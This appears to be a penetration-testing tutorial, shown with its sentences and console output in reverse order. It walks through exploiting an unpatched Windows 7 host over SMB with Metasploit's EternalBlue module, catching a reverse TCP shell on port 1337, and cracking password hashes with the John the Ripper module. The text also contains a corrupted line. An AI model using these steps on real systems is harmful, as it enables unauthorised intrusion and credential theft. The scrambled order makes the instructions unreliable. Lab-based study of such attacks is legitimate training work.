10.10.0.104:445 - Sending all but last fragment of exploit packet 10.10.0.104:445 - Trying exploit with 12 Groom Allocations. 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply 10.10.0.104:445 - Connection established for exploitation. 10.10.0.104:445 - Connecting to target for exploitation. Started reverse TCP handler on 10.10.0.1:1337 Set the appropriate options, and type run to launch: msf5 exploit(windows/smb/ms17_010_eternalblue) > run Next, load the EternalBlue exploit module with the use command: msf5 > use exploit/windows/smb/ms17_010_eternalblue * WARNING: No database support: No database YAML file ***rting the Metasploit Framework console./ Then, fire up Metasploit by typing msfconsole in the terminal: ~# msfconsole We will need Metasploit's built-in database up and running for the John the Ripper module to work later, so start it with the following command: ~# service postgresql start Since we know the target is running an unpatched version of Windows 7, we can use EternalBlue to quickly exploit the system from our Kali box. To begin, we will need to compromise the target and get a Meterpreter session.

Don't Miss: Get Root with Metasploit's Local Exploit Suggester.

In this tutorial, we will obtain the hash of an additional user that has logged onto the system (admin2).

The John the Ripper module should work on any version of Windows we can grab the hashes from.

The method of exploitation doesn't matter so much here, as long as you can get a Meterpreter session on the target. We will be using an unpatched version Windows 7 as the target, so if you have a copy lying around, feel free to use it. Metasploit actually contains a little-known module version of JTR that can be used to quickly crack weak passwords, so let's explore it in an attempt to save precious time and effort. It's a powerful piece of software that can be configured and used in many different ways. There are many password-cracking tools out there, but one of the mainstays has always been John the Ripper.

John the ripper software